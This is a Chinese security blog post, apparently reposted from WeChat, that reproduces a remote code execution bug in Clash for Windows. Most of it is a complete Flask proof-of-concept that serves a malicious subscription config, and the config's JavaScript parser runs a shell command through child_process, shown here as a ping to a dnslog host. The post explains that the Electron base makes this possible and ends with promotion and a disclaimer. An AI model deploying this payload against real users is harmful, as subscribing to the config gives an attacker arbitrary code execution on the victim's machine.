ZAC安全
#2023#
先祝大家新年快乐,发几张星球优惠,然后就是昨天水群看到clash又双叒叕爆RCE了,于是简单复现下
正文:
https://github.com/Fndroid/clash_for_windows_pkg/issues/3891
上面要生成俩文件然后可以公网访问,订阅之后即可RCE,这里用大哥写的一个脚本(省的自己弄文件和环境了)
host = '127.0.0.1'
shell = 'cmd.exe /c ping scqie.log.cve.ink'
print('[+Run Shell] ' + shell)
print('[+Payload] clash://install-config?url=http://{}/config.yaml'.format(host))
paylad = """payload:
-
DOMAIN-SUFFIX,acl4.ssr,全球直连
showNewVersionIcon: true
hideAfterStartup: false
randomControllerPort: true
runTimeFormat: "hh : mm : ss"
trayOrders:
- -icon
- -status
-traffic
-text
hideTrayIcon: false
connShowProcess: true
showTrayProxyDelayIndicator: true
profileParsersText: >-
parsers:
-reg: .*
code:
module.exports.parse = async (raw, { axios, yaml, notify, console }, {
name, url, interval, selected }) => {
require("child_process").exec(""""+shell+"""");
return raw;
}
"""
from flask import Flask
app = Flask(__name__)
@app.route('/config.yaml')
def index():
return """port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
-name: a
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
rule-providers:
p:
type: http
behavior: domain
url: "http://{}/cfw-settings.yaml"
path: ./cfw-settings.yaml
interval: 86400
""".format(host)
@app.route('/cfw-settings.yaml')
def cfw():
return paylad
if __name__ == '__main__':
app.run(host=host, port=80, debug=True)
复制这个poc,然后打开
然后重启clash即可看到dnslog成功回显
可以看到parse中成功改成了我们的恶意payload
而原理其实也很简单,我们观看官方文档即可发现parse支持js
那么因为执行js代码会有隐患,可关键在于clash是由electron搭建的,所以可以轻易的用child_process进行RCE
宣传页
ZAC安全
本人微信:zacaq999
文章内容如有任何错误或者对不上号的,可以加我微信,感谢各位大佬们的指点
安全宝典欢迎各位大佬以投稿方式免费进入!
原文始发于微信公众号(ZAC安全):clash最新RCE复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论